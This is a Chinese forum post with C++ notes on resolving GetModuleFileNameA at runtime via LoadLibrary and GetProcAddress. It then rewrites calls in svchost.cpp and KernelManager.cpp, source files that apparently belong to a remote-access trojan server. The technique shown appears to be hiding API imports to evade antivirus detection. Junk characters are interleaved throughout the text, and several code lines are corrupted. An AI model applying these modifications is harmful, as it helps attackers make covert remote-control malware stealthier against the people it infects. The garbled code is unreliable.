|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
4 x9 |% M. O4 e# w: Zsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
6 t+ L& e- x7 B/ P; }----------------------------------------: c+ h: C/ `. Y3 k9 {) b- k
DTDY.h:) k7 _7 ]* d; ?7 W7 x( U6 d# b
; j8 W/ w x. H5 c
#if _MSC_VER>10001 ?2 ^3 Z# r, X+ S) D6 W
#pragma once' ^# V2 b* G" M" m
#endif //_MSC_VER>1000
3 b1 q' w; s6 I K/ h5 f#include<windows.h>) a$ l; \& f5 Z @6 S8 O
; S4 V0 L' N U. k. r0 u3 H6 stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 A( x& Q7 M' m; L( F) Uclass DTDY7 P" R4 p {. o) `0 }" C$ R$ K7 s
{4 S V2 b7 Z0 ~& Z
public:9 e) G$ x. O2 s7 I5 q
DTDY();" a+ Y+ D& b6 {; L) J5 r% C. \' n
virtual ~DTDY();
' L9 |* t2 S+ n4 i3 L5 Vpublic:
' N1 X$ R" t% L8 n9 w0 Ostatic pGetModuleFileNameA MyGetModuleFileName;. P. h: p( H9 z0 l3 r; \
static BOOL FunInitiallization();
' V/ y% o$ o( M, ?};
; R/ s4 m* ~" ^( Z$ b2 N#endif c9 S/ v: \6 H2 {1 F
----------------------------------------
7 K/ v" F* R7 d9 {; X& q
5 ?4 I* q+ j9 A9 yDTDY.cpp:
j, f" \6 O' r# B6 P; k" l% D3 D$ y# ^) [- X' O3 O) m' }% `
#include "DTDY.h"
; h& k: U$ r! b2 F- LpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;" r# {( O) r. u7 i, r r; @
DTDY:TDY()5 N2 i1 n6 D5 j
{
% F* x d( K9 w$ f4 D}. E: n7 w: T5 e$ w' W; m
DTDY::~DTDY()- D- X1 V5 B* a' Z
{
) l/ h! J m+ D1 R1 w. f}
5 t' l* j3 v9 C( j5 B pBOOL DTDY::FunInitiallization()& ^ y; U! {( C0 q) w9 v
{/ N; x0 U* J( b. p& w1 u! p1 o
HMODULE hModule=LoadLibrary("kernel32.dll");
4 `, ?& S: i8 i4 D! _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 @ y0 ^' [+ [2 a& E' wif(!MyGetModuleFileName=) return FALSE;
) ]8 {$ U6 q) K5 T3 r" ?! W- \1 R: o4 n+ m# s K# |
return TRUE;
/ m6 e" w; k7 _$ E; J}
; H& _( }. l, o+ ~; _% t----------------------------------------
' M) Z4 ~; D( S+ H [$ ]svchost.cpp:
# a! N& P+ a. _& K8 l
- E1 y8 t8 a T#include "DTDY.h"* q; t. M* U5 o! M+ D
: t: \% A' f+ {BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ x/ Y* |% q7 r
{
9 z9 p7 [$ w0 V/ l& | iswitch(ul_reason_for_call). g! m5 y$ T. C4 n0 [
{ s6 \6 l3 i) a1 k
case DLL_PROCESS_ATTACH:; v$ ^2 E, {, @2 x1 O7 c
if(!DTDY::FunInitiallization()) return FALSE;; _4 T! ?( x ^
# ], U- C6 v" @break;; b. D L8 \+ K ^5 T/ _8 r
}
( |) n; e; p* j: R}+ x( K4 @3 ]4 k! r, P
4 N' T# _( s1 Z
2 ~+ I5 D* L; @
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
j+ _0 h2 A6 H+ R: z. @& d2 H改写为
" F) H' U# q% x6 t5 H: k5 VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
& ]! H7 X3 ]# [4 t2 W----------------------------------------6 B# M8 m7 |0 Q2 x j
KernelManager.cpp:
b% m7 r# N9 o- l! G
, C6 F2 [3 Y4 f, o T0 m+ y! M#include "../DTDY.h"3 T* V; l4 ^8 A8 ~
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ M, \. z& m" W" ^2 ]6 o" S8 D
改写为5 i9 j2 v2 W3 I+ K' ]! u/ ^+ [% q1 j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
c% \: `3 j8 d0 Q4 P" W/ L0 k---------------------------------------- |
|